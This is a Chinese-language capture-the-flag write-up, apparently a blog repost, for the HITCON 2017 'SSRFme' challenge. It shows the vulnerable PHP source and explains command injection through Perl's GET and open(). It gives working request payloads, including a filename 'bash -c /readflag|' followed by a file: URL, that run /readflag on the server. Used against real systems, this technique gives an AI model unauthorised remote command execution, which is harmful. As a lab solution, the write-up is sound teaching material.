[HITCON 2017]SSRFme

[HITCON 2017]SSRFme

打开题目,就是源码

<?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    
    
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }

    echo $_SERVER["REMOTE_ADDR"];//输出ip地址

    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);//创建文件夹
    @chdir($sandbox);//改变目录至改目录下

    $data = shell_exec("GET " . escapeshellarg($_GET["url"]));
    $info = pathinfo($_GET["filename"]);//pathinfo()函数
    $dir  = str_replace(".", "", basename($info["dirname"]));//目录路径
    @mkdir($dir);
    @chdir($dir);
    @file_put_contents(basename($info["basename"]), $data);//文件名
    highlight_file(__FILE__);

分析一下:
题目会将orange和ip地址进行拼接,然后md5加密,创建该文件夹。
需要注意shell_exec("GET " . escapeshellarg($_GET["url"]))存在命令执行,前提是文件名可控,且文件必须存在,然后才能触发代码执行

相关的博客:perl脚本中GET命令执行漏洞([HITCON 2017]SSRFme)

大概的意思是perl中的GET函数调用了open处理,需要open函数的第二个参数(path)可控,类似于把文件名拼接导入命令导致的命令执行

pathinfo()函数

pathinfo() 函数以数组的形式返回关于文件路径的信息。

在这里插入图片描述

首先查看下根目录文件

?url=/&filename=a

创建后,访问

/sandbox/xxxxxxxxxxxxxxxxx/a

其中xxxxxxxxxxxxxxxxx每个人都不同,这里只是代称,可以通过本地运行得到

<?php
$a = "111.111.111.111";//举例
$sandbox = "sandbox/" . md5("orange" . $a);
echo $sandbox;//输出xxxxxxxxxxxxxxxxxxx

访问,得到根目录
在这里插入图片描述

注意/readflag,应该是需要执行,然后才能得到flag

payload

open函数支持file协议; 可以利用base -c "cmd"进行命令执行
先创建文件bash -c /readflag|

?url=&filename=bash -c /readflag|

创建文件后,再通过file协议,将读取的flag放入$data中,通过file_put_contents导入a中,然后访问a即可

?url=file:bash -c /readflag|&filename=a
/sandbox/xxxxxxxxxxxxxxxx/a

在这里插入图片描述

参考文章

perl脚本中GET命令执行漏洞([HITCON 2017]SSRFme)

Guess you like

Origin blog.csdn.net/RABCDXB/article/details/122491499